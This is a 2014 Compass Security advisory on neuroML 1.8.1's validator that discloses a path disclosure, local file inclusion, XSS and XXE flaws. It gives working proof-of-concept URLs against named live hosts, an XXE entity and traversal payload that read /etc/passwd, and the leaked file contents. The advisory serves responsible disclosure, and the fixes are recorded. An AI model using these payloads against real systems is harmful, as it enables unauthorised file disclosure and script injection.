neuroML 1.8.1 XSS / LFI / XXE Injection / Disclosure

`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# http://www.csnc.ch/en/downloads/advisories.html  
#  
#############################################################  
#  
# Product: neuroML  
# Version: <=v1.8.1 (Confirmed: v1.8.1)  
# Vendor: neuroML.org  
# CSNC ID: CSNC-2014-004  
# CVD ID: <none>  
# Subject: Multiple Vulnerabilities  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Philipp Promeuschel <[email protected]>  
# Date: 10.10.2014  
#  
#############################################################  
  
Abstract:  
-------------  
The NeuroML project focuses on the development of an  
XML (eXtensible Markup Language) based description language  
that provides a common data format for defining and  
exchanging descriptions of neuronal cell and network models.  
The current approach in the project uses XML schemas to  
define the model specifications.[0]  
  
  
Affected:  
---------  
Vulnerable:  
neuroML version 1.8.1  
  
Not tested:  
Other versions of neuroML  
  
  
Technical Description:  
----------------------  
The NeuroML Validator, can be used to check the validity  
of NeuroML files.  
  
[Full Path Disclosure]:  
http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=NeuxroMLFiles/Schemata/v1.8.1/Level1/Metadata_v1.8.1.xsd&xslFile=x  
  
Example output:  
Unable to locate file /var/lib/tomcat7/webapps/NeuroMLValidator/x  
  
[Local File Inclusion]:  
http://www.neuroml.org/NeuroMLValidator/ViewNeuroMLFile.jsp?localFile=../../../../../etc/passwd  
  
Example output:  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
  
[Cross Site Scripting]:  
http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=&xslFile=x%3Cimg%20src=%27s%27%20onError=%27alert%281%29;%27%3E  
http://www.neuroml.org/NeuroMLValidator/Validation.jsp?pastedFile=XSS%3C/textarea%3Ex%3Cimg%20src=%27s%27%20onError=%27alert%281%29;%27%3E  
  
[XML External Entities]:  
http://www.morphml.org:8080/NeuroMLValidator/Transform.jsp?pastedFile=%2B%253C%2521DOCTYPE%2Bfoo%2B%255B%2B%2B%250D%250A%2B%2B%2B%253C%2521ELEMENT%2Bfoo%2BANY%2B%253E%250D%250A%2B%2B%2B%253C%2521ENTITY%2Bxxe%2BSYSTEM%2B%2522file%253A%252F%252F%252Fetc%252Fpasswd%2522%2B%253E%255D%253E%253Cfoo%253E%2526xxe%253B%253C%252Ffoo%253E&xslFile=NeuroMLFiles%2FSchemata%2Fv1.8.1%2FLevel1%2FMorphML_v1.8.1_GENESIS.xsl  
Example output:  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
  
Used XML:  
<!DOCTYPE foo [  
<!ELEMENT foo ANY >  
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>  
  
  
Timeline:  
---------  
2014-05-04: Discovered Flaws  
2014-05-05: Contacted Developer  
2014-05-05: Developer Response  
2014-05-28: Developer fixed all issues  
2014-10-10: Disclosure of the advisory  
  
References:  
-----------  
[0] http://www.neuroml.org/introduction  
[1] http://blog.csnc.ch/2012/08/secure-xml-parser-configuration/  
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